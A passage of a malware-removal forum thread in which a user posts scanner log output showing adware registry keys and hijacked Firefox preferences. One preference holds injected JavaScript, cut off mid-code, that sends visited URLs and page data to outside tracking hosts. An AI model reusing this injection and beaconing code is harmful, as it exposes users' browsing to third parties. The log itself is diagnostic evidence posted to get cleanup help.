Key Found:  [x64] HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2fa28606-de77-4029-af96-b231e3b8f827}
Value Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Internet Explorer\SearchScopes [URL]
Value Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Internet Explorer\SearchScopes [SuggestionsURL_JSON]
Value Found:  HKCU\Software\Microsoft\Internet Explorer\SearchScopes [URL]
Value Found:  HKCU\Software\Microsoft\Internet Explorer\SearchScopes [SuggestionsURL_JSON]
Key Found:  HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2fa28606-de77-4029-af96-b231e3b8f827}
Key Found:  HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\ask.com
Key Found:  HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\five-nights-at-freddys.en.softonic.com
Key Found:  HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\softonic.com
Key Found:  HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\five-nights-at-freddys.en.softonic.com
Key Found:  HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\softonic.com
Key Found:  HKLM\SOFTWARE\Classes\AppID\escort.DLL
Key Found:  HKLM\SOFTWARE\Classes\AppID\escortApp.DLL
Key Found:  HKLM\SOFTWARE\Classes\AppID\escortEng.DLL
Key Found:  HKLM\SOFTWARE\Classes\AppID\escorTlbr.DLL
Key Found:  HKLM\SOFTWARE\Classes\AppID\esrv.EXE
 
 
***** [ Web browsers ] *****


#6 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:34 PM

Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.1000234.weatherData" -  "{\"icon\":\"26.png\",\"temperature\":\"43°F\",\"temperatureClear\":\"43°F\",\"highTemperature\":\"43°F\",\"lowTemperature\":\"35°F\",\"feelsLike\":\"36°F\",\"condition\":\"Cloudy\",\"tUnit\":\"f\",\"cityName\":\"Dayton, OH\",\"lastUpdated\":\"3/11/13 8:25 PM EDT\",\"humidity\":\"74%\",\"visibility\":\"10.0 mi\",\"pressure\":\"29.75 in\",\"pressureDescription\":\"rising\",\"windFrom\":\"WSW\",\"windSpeed\":\"16 mph\",\"hasCurrentCondition\":true,\"night\":true,\"severaAlertsCount\":0,\"loaded\":true,\"day1\":{\"icon\":\"30.png\",\"highTemperature\":\"42°F\",\"lowTemperature\":\"31°F\",\"condition\":\"Partly Cloudy\",\"precipitation\":\"20%\",\"day\":\"1\",\"sunr\":\"7:53 AM\",\"suns\":\"7:41 PM\",\"humidity\":\"70%\",\"windFrom\":\"WSW\",\"windSpeed\":\"19 mph\",\"dayName\":\"Tuesday\",\"date\":\"Mar 12, 2013\",\"hourly\":[{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 AM\",\"temp\":36,\"feelsLike\":28,\"humid\":82,\"wSpeed\":11,\"wDir\":241,\"pop\":10,\"uv\":0,\"dew\":31,\"icon\":27,\"wDirText\":\"WSW\",\"wDesc\":\"Mostly Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"12 PM\",\"temp\":38,\"feelsLike\":29,\"humid\":70,\"wSpeed\":16,\"wDir\":245,\"pop\":10,\"uv\":3,\"dew\":29,\"icon\":30,\"wDirText\":\"WSW\",\"wDesc\":\"Partly Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 PM\",\"temp\":41,\"feelsLike\":33,\"humid\":62,\"wSpeed\":17,\"wDir\":252,\"pop\":20,\"uv\":1,\"dew\":29,\"icon\":30,\"wDirText\":\"WSW\",\"wDesc\":\"Partly Cloudy\",\"precip_type\":\"rain\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"0 AM\",\"temp\":36,\"feelsLike\":27,\"humid\":73,\"wSpeed\":13,\"wDir\":266,\"pop\":10,\"uv\":0,\"dew\":28,\"icon\":27,\"wDirText\":\"W\",\"wDesc\":\"Mostly Cloudy\",\"precip_type\":\"precip\"}]},\"day2\":{\"icon\":\"13.png\",\"highTemperature\":\"34°F\",\"lowTemperature\":\"24°F\",\"condition\":\"Flurries\",\"precipitation\":\"30%\",\"day\":\"2\",\"sunr\":\"7:51 AM\",\"suns\":\"7:42 PM\",\"humidity\":\"64%\",\"windFrom\":\"WNW\",\"windSpeed\":\"17 mph\",\"dayName\":\"Wednesday\",\"date\":\"Mar 13, 2013\",\"hourly\":[{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 AM\",\"temp\":32,\"feelsLike\":23,\"humid\":74,\"wSpeed\":12,\"wDir\":272,\"pop\":30,\"uv\":0,\"dew\":26,\"icon\":13,\"wDirText\":\"W\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"10 AM\",\"temp\":31,\"feelsLike\":20,\"humid\":67,\"wSpeed\":15,\"wDir\":277,\"pop\":30,\"uv\":1,\"dew\":23,\"icon\":13,\"wDirText\":\"W\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"2 PM\",\"temp\":33,\"feelsLike\":22,\"humid\":64,\"wSpeed\":17,\"wDir\":291,\"pop\":20,\"uv\":3,\"dew\":22,\"icon\":26,\"wDirText\":\"WNW\",\"wDesc\":\"Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 PM\",\"temp\":33,\"feelsLike\":23,\"humid\":59,\"wSpeed\":16,\"wDir\":296,\"pop\":30,\"uv\":0,\"dew\":20,\"icon\":13,\"wDirText\":\"WNW\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"}]},\"day3\":{\"icon\":\"34.png\",\"highTemperature\":\"41°F\",\"lowTemperature\":\"30°F\",\"condition\":\"Mostly Sunny\",\"precipitation\":\"10%\",\"day\":\"3\",\"sunr\":\"7:50 AM\",\"suns\":\"7:43 PM\",\"humidity\":\"64%\",\"windFrom\":\"W\",\"windSpeed\":\"9 mph\",\"dayName\":\"Thursday\",\"date\":\"Mar 14, 2013\"},\"extendedOutlookLink\":\"hxxp://www.weather.com/outlook/local/USOH0245?par=conduit&site=conduitapp&cm_ven=Conduit&cm_cat=conduitapp&cm_pla=application-us&cm_ite=wx-today\",\"todayLink\":\"hxxp://www.weather.com/weather/tenday/USOH0245?par=conduit&site=conduitapp&cm_ven=conduit&cm_cat=conduitapp&cm_pla=application-us&cm_ite=wx-10day\",\"zone\":-4,\"severeAlertsCount\":false}"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.embeddedsData" -  "[{\"appId\":\"128848965243869715\",\"apiPermissions\":{\"crossDomainAjax\":true,\"getMainFrameTitle\":true,\"getMainFrameUrl\":true,\"getSearchTerm\":true,\"instantAlert\":true,\"jsInjection\":true,\"sslGranted\":true},\"onBeforeLoadData\":\"{\\\"view\\\":{\\\"html\\\":\\\"<table id=\\\\\\\"main\\\\\\\" class=\\\\\\\"mainwrapper\\\\\\\" cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n    <tbody><tr>\\\\n        <!-- don't remove the width=\\\\\\\"100%\\\\\\\" bug in chrome the width become in px-->\\\\n        <td id=\\\\\\\"textboxWrapper\\\\\\\" style=\\\\\\\"width: 100%; background: none repeat scroll 0% 0% rgb(254, 254, 254);\\\\\\\" width=\\\\\\\"100%\\\\\\\">\\\\n            <!-- take focuse in IE -->\\\\n            <!--[if ie]>\\\\n            <form onsubmit =\\\\\\\"return false;\\\\\\\" action=\\\\\\\"#\\\\\\\">\\\\n            <![endif]-->\\\\n            <input style=\\\\\\\"color: rgb(0, 0, 0); background: none repeat scroll 0% 0% rgb(254, 254, 254); min-width: 137px; max-width: 502px; width: 100%;\\\\\\\" id=\\\\\\\"textbox\\\\\\\" type=\\\\\\\"text\\\\\\\">\\\\n            <!--[if ie]>\\\\n            </form>\\\\n            <![endif]-->\\\\n        </td>\\\\n        <td style=\\\\\\\"display: table-cell; background: none repeat scroll 0% 0% rgb(254, 254, 254);\\\\\\\" id=\\\\\\\"infoPopupButtonWrapper\\\\\\\">\\\\n            <div style=\\\\\\\"display: block;\\\\\\\" id=\\\\\\\"infoPopupButton\\\\\\\" class=\\\\\\\"dropdownButtonTextbox no-select\\\\\\\"></div>\\\\n        </td>\\\\n        <td id=\\\\\\\"engineWrapperContainer\\\\\\\">\\\\n            <table cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n                <tbody><tr>\\\\n                    <td id=\\\\\\\"imageTextWrapperContainer\\\\\\\">\\\\n                        <table cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n                            <tbody><tr>\\\\n                                <td style=\\\\\\\"display: table-cell;\\\\\\\" id=\\\\\\\"engineWrapper\\\\\\\"><img style=\\\\\\\"display: block\\\\\\\" id=\\\\\\\"engineImage\\\\\\\" alt=\\\\\\\"\\\\\\\" src=\\\\\\\"hxxp://storage.stgbssint.com/73/226/CT2260173/images/634673604687122295_20PX.png\\\\\\\" onerror=\\\\\\\"javascript: this.src='hxxp://storage.conduit.com/images/searchengines/go_btn_new.gif'\\\\\\\"></td>\\\\n                                <td style=\\\\\\\"display: none;\\\\\\\" id=\\\\\\\"engineTextWrapper\\\\\\\">\\\\n                                    <div title=\\\\\\\"\\\\\\\" style=\\\\\\\"color: rgb(0, 0, 0); font-family: Tahoma; font-weight: normal; font-style: normal; font-size: 11px;\\\\\\\" id=\\\\\\\"engineText\\\\\\\"></div>\\\\n                                </td>\\\\n                            </tr>\\\\n                        </tbody></table>\\\\n                    </td>\\\\n                    <td id=\\\\\\\"enginesPopupButtonWrapper\\\\\\\">\\\\n                        <div id=\\\\\\\"enginesPopupButton\\\\\\\" class=\\\\\\\"dropdownButton no-select\\\\\\\"></div>\\\\n                    </td>\\\\n                </tr>\\\\n            </tbody></table>\\\\n        </td>\\\\n    </tr>\\\\n</tbody></table>\\\"},\\\"locale\\\":{\\\"alignMode\\\":\\\"LTR\\\",\\\"locale\\\":\\\"en\\\",\\\"languageAlignMode\\\":\\\"LTR\\\"}}\"},{\"appId\":\"129998982795499086\",\"apiPermissions\":{\"crossDomainAjax\":true,\"getMainFrameTitle\":true,\"getMainFrameUrl\":true,\"getSearchTerm\":false,\"instantAlert\":true,\"jsInjection\":true,\"sslGranted\":false},\"originalHeight\":26}]"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.navigationAliasesJson" -  "{\"EB_SEARCH_TERM\":\"\",\"EB_MAIN_FRAME_URL\":\"hxxps%3A%2F%2Fwww.facebook.com%2Fgroups%2F489088451135384%2F\",\"EB_MAIN_FRAME_TITLE\":\"Holiday%20Deals!\",\"EB_TOOLBAR_SUB_DOMAIN\":\"hxxp://SBToolBarToolbar.OurToolbar.com/\",\"EB_TOOLBAR_ID\":\"CT2260173\",\"EB_TOOLBAR_VERSION\":\"10.31.2.501\",\"EB_ORIGINAL_CTID\":\"CT2260173\",\"EB_DOWNLOAD_PAGE\":\"hxxp://SBToolBarToolbar.OurToolbar.com/\",\"EB_TOOLBAR_NAME\":\"Swag Bucks \"}"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.originalSearchAddressUrl" -  "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=UN73793122090752330&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.serviceLayer_service_toolbarGrouping_activeCTID" -  "{\"dataType\":\"string\",\"data\":\"CT2260173\"}"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "CT2260173.smartbar.CTID" -  "CT2260173"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "Smartbar.ConduitSearchUrlList" -  "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "Smartbar.SearchFromAddressBarSavedUrl" -  "hxxp://search.babylon.com/?AF=100486&tt=090212_ctrl&babsrc=adbartrp&mntrId=ca36b39400000000000078acc0abab38&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "Smartbar.TBSearchUrlList" -  "hxxp://search.conduit.com/ResultsExt.aspx?ctid=CT2260173&SearchSource=2&CUI=SB_CUI&q="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "Smartbar.keywordURLSelectedCTID" -  "CT2260173"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "browser.babylon.HPOnNewTab" -  "search.babylon.com"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "browser.newtab.url" -  "hxxp://searchinterneat-a.akamaihd.net/t?eq=U0EeFFhaR1oWHAUUIw0AAwBCDA0XJg0VVQoXGRhBJAtbTAtBFQBHIQ5eUltFRBNBNARaB0tXUUEeGGlxR1dMclBGDVZKBGsUUkBPNEpwFFs="
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "browser.startup.homepage" -  "hxxp://searchinterneat-a.akamaihd.net/h?eq=U0EeCFZVBB8SRggTd1oMWVtIEhgbdF8MTA1CRw0OIl0KAhRDEQEWJFgPBwoTFVAFIk0FA18DB0VXfWFoKB8fHGZGJXRXE1wjREZWLE1LKUwT"
Firefox pref Found:  [C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\prefs.js] - "extensions.nHDB2gY7JkbFtxcQ.scode" -


#7 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:39 PM

  "(function(){try{if(window.location.href.indexOf(\"rjnEqTk9pdYHrHaGrTrErdU6qjs\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\",\"new.livejasmin.com\",\"profollica.com\",\"secure.dditservices.com\",\"provillus.com\",\"search.asistents.com\",\"cryptogmail.com\",\"bancdebinary.com\",\"investkingdom.com\",\"www.optionsclick.com\",\"www.optionfair.com\",\"www.24option.com\",\"www.viracure.com\",\"onesystemcare.com\",\"onesave.com\",\"backin.net\",\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"sporty-glow.com\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/(d1ljaxj866duo3 d1htcstfblev9a)\\.cloudfront\\.net$/,/^websearch\\.(mocaflix searchissimple just-browse good-results searchsupporter soft-quick pu-results simplespeedy helpmefindyour greatresults youwillfind lookforitthere lookforithere searchmainia searchrocket homesearchapp a-searchpage coolwebsearch homesearch-hub resulthunters searchdwebs searchingisme searchannel searchouse pur-esult searchboxes searchitup searchpages searchesplace simplesearches goodfindings searchiseasy the-searcheng oversearch searchere relevantsearch wisesearch search-guide searchisbestmy searchbomb searchguru searchsun searchsunmy toolksearchbook searchinweb webisgreat webisawsome exitingsearch amaizingsearches searchingissme awsomesearchs eazytosearch ezsearches fastosearch fastsearchings flyandsearch wonderfulsearches fixsearch searchandfly searchfix allsearches searc-hall simple2search searchitwell)\\.info$/,/search\\.(easylifeapp gboxapp searchonme appsarefun genieo)\\.com/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.location.hostname)){return;}}}catch(e){}try{var u=[[\"#InterYield\",\"revenuewire.com/pcutilitiespro\",\"__ipm=\",\"=apapamam\",\"txtlnkusaolp00000800\",\"=admaven\",\"5386b_643c_\",\"=CONMHP&conlogo=CT3210127\",\"www.livegeekhelp.com/pop/\",\"?ctid=ct3330145\",\"?ctid=ct3330146\",\"?ctid=ct3330147\",\"?ctid=ct3330148\",\"?ctid=ct3330149\",\"if72ru4sdfsdfruh7fewui\",\"fghjktghndfgtssss\",\"vdsfvdfvvf\",\"jp.hao123.com/?tn=webpick_pay_sc_up01_hao123_jp\",\"form=u064ht&pc=u064\",\"source=45905810\",\"source=532d277e\",\"aro.com/ws/?source=6974b128\",\"esmoke.com/?isid=9949\",\"esmoke.com/?isid=9950\",\"esmoke.com/?isid=9951\",\"id=webpick_ot\",\"id=wbpk_ot\",\"hash=a4vxy8\",\"hash=m5g73j\",\"hash=hg7gja\",\"hash=fz61s5\",\"hash=1i5w2d\",\"hash=zndas3\",\"hash=b3qau4\",\"hash=ijeqe4\",\"duit&ptag=aa7aab832a2de41458bf&\",\"duit&ptag=a93f650ac0e6a4a4791f&\",\"duit&ptag=a79888693f6ca4634a6f\",\"duit&ptag=a359b17b6faa44e6b86f\",\"isid=mf245f633-e188-4162-b56a\",\"sid=meabfcf9a-556b-4c5c-8727\",\"isid=m8fbc22fe-ab08-464e-aa63\",\"uid=531364863_132823_4252277e\"],[/^hxxps?:\\/\\/static\\.williamhill\\.com\\/index\\.html.*?[?&]var5=11puk_/,/^hxxps?:\\/\\/lp\\.stargames\\.com\\/(.*?[?&](page=v07 cid=57397 pid=13993 afid=11pde_)){4}/,/hxxps?:\\/\\/lp\\.ilividnewtab\\.com\\/([?&](sysid=533 appid=674 lpid=4225)){2,3}/,/hxxps?:\\/\\/plarium\\.com\\/play\\/en\\/sparta\\/top\\/([?&](adCampaign=(59658 59659) adPixel=webfore publisherID=2084)){3}/,/hxxps?:\\/\\/superpctools\\.com\\/(en\\/)?(windows-pc-repair-lp-204 superoptimizerlp1a-lp-202)\\/\\?vtsid=1002137/,/^hxxps?:\\/\\/www\\.srv2trking\\.com\\/click\\.track([?&](CID=(295669 264686) AFID=353369 ADID=(1279308 1238822 1278537) SID=)){4}/,/^hxxps?:\\/\\/webtrackerplus\\.com\\/([?&](a_aid=5sggsj2q8zmzz page=tiger clickid=)){3}/,/^hxxps?:\\/\\/www\\.securesaycpa\\.com\\/aff_c([?&](offer_id=14 aff_id=1492)){2}/,/^hxxps?:\\/\\/affiliate\\.integral-marketing\\.com\\/offer\\/554736d253d58313a0611882\\/[1-5]\\?.*?aff_id=554736017d53b314045833a7([&#] $)/,/^hxxps?:\\/\\/([a-z0-9-]+\\.)*search\\.yahoo\\.com\\/yhs\\/.*[&?]hspart=(webpick GenieoYaho)(& $)/i,/^hxxps?:\\/\\/([a-z0-9-]+\\.)*google\\.com\\/.*?(dommkfimfbbhdeboddnnlegdgbcebomb)/,/^hxxps?:\\/\\/lp\\.cryptogmail\\.com\\/.*?[?&]utm_medium=cpd_(1786)_.*?&utm_campaign=(youtube1 youtube2 LP1Allgeo LP2AM LPHPALL LP4all)(?=& # $)/,/^hxxps?:\\/\\/trade\\.optionsclick\\.com\\/.*?[?&]p1=35191_(359687 359689)(?=& # $)/,/^hxxps?:\\/\\/ofbinarysystem\\.com\\/.*?\\?.*?bta=(35393)(?=&).*?&afp=Krypton_/i,/^hxxps?:\\/\\/option\\.go2jump\\.org\\/(SHIyqq SHIyqs SHIypC SHOXy8)(?=\\?)/,/^hxxps?:\\/\\/go\\.bancdebinary\\.com\\/lp\\/.*?(?=\\?).*?(\\? &)a_aid=(HO8690)(?=&).*?&campaign=(7718)(?=&).*?&a_bid=(262)/,/^hxxps?:\\/\\/tracking\\.bbinary\\.com\\/aff_c\\?.*?offer_id=(262)(?=&).*?&aff_id=(8690)(?=&).*?&url_id=(1310 1638 1690 1549 1644 1332 1668 1684)(?=& # $)/,/[\\?&]p=24039(& $)/,/lll[a-zA-Z0-9]{11}00/,/#FA[-_]/,/bing\\.com[^p]+pc=.+/,/^hxxp:\\/\\/sporty-glow\\.com\\//,/^hxxp:\\/\\/game-trek\\.net\\//,/#(a652c ld893)_/,/[&?]pid=715493([&#] $)/,/ressbar\\.com[^f]+fid=65017/]];for(var i=0,a=u[0],l=a.length;i<l;i++){if((window.location.href+\"#\"+window.name).indexOf(a[i])>-1){(new Image).src = \"//\"+[\"beautysite.xyz\",\"mymatrixinner.net\"][window.location.protocol!= \"hxxps:\"?0:1]+\"/?n=\"+encodeURIComponent(a[i])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=20046&hid=14065488330223009752\";return;}}for(var j=0,a=u[1],l=a.length;j<l;j++){if(a[j].test(window.location.href+\"#\"+window.name)){(new Image).src=\"//\"+[\"beautysite.xyz\",\"mymatrixinner.net\"][window.location.protocol!=\"hxxps:\"?0:1]+\"/?n=\"+encodeURIComponent(a[j])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1461&pid=20046&hid=14065488330223009752\";return;}}}catch(e){}try{window.top == window && new function () { if (!document.getElementsByTagName(\"body\").length    !document.getElementsByTagName(\"body\")[0].getAttribute(\"s14065488330223009752\")) { var m = document.getElementsByTagName(\"body\")[0]; m && m.setAttribute(\"s14065488330223009752\", \"1\"); var b = this; b.pixelHost = \"//sepx.matrixinner.info\"; b.prefix = \"jhgasdf\"; b.version = \"0.5\"; b.now = (new Date).getTime(); b.clickInterval = 2592E5; b.ratio = 12; b.initThrottle = \"google;gmaps;amazon;bing\"; b.unique_items_left = !0; b.eid = decodeURIComponent(\"CutThePrice\"); b.num_of_items_in_one = 4; b.count = 0; b.baseHostname = \"matrixinner.info\"; b.utils = new function () { var a = this; a.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var f = a[e]; b = new Image; b.src = f } else b = new Image, b.src = a }; a.isFalse = function (a) { return \"undefined\" == typeof a    a instanceof Array && 0 == a.length    null === a ? !0 : !1 }; a.cookie = new function () { var a = this; a.createCookie = function (a, c, B) { if (B) { var g = new Date; g.setTime(g.getTime() + 864E5 * B); b = \"; expires=\" + g.toGMTString() } else b = \"\"; document.cookie = a + \"=\" + c + b + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var b = document.cookie.split(\";\"), c = 0; c < b.length; c++) { for (var g = b[c]; \" \" == g.charAt(0);)g = g.substring(1, g.length); if (0 == g.indexOf(a))return g.substring(a.length, g.length) } return null }; a.eraseCookie = function (B) { a.createCookie(b, \"\", -1) } }; a.ajax = { get: function (b, d) { try { this.xhr = new XMLhxxpRequest, this.xhr.open(\"GET\", b, !0), this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && d(a.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (b, d, e) { this.xhr = new XMLhxxpRequest; this.xhr.open(\"POST\", b, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && e(a.ajax.xhr.responseText) }; d = encodeURIComponent(d); this.xhr.send(d) }}; a.waitForTokens = {}; a.addScript = function (a, B) { if (\"bing\" == B) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; a.waitForElement = function (c, d, e, f) { var g = a.query_selector_all©; clearTimeout(a.waitTimeout); if (25 < b.waitForElementCounter)return d(null); if (\"undefined\" == typeof g    1 > g.length) { if (a.waitForTokens[f])return d(null); var h = arguments.callee; a.waitTimeout = setTimeout(function () { b.waitForElementCounter++; h(c, d, e, f) }, e) } else { if (a.waitForTokens[f])return d(null); a.waitForTokens[f] = !0; b.waitForElementCounter = 0; return d(g) } }; a.flushWaitForTokens = function () { a.waitForTokens = {} }; a.getRandomInt = function (a, B) { return Math.floor(Math.random() * (b - a + 1)) + a }; a.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (B) { return { getPropertyValue: function (d) { \"float\" == d && (d = \"styleFloat\"); d = a.dhtml_prop_name(d); return \"object\" == typeof b.currentStyle && null != b.currentStyle && \"undefined\" != typeof b.currentStyle[d] ? b.currentStyle[d] : null } } } : function (a, B) { return window.getComputedStyle(a, B)    { getPropertyValue: function () { }} }; a.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (B) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/)    []; if (1 < b.length)return a = document.getElementById(b[1])    void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(B); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; a.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = 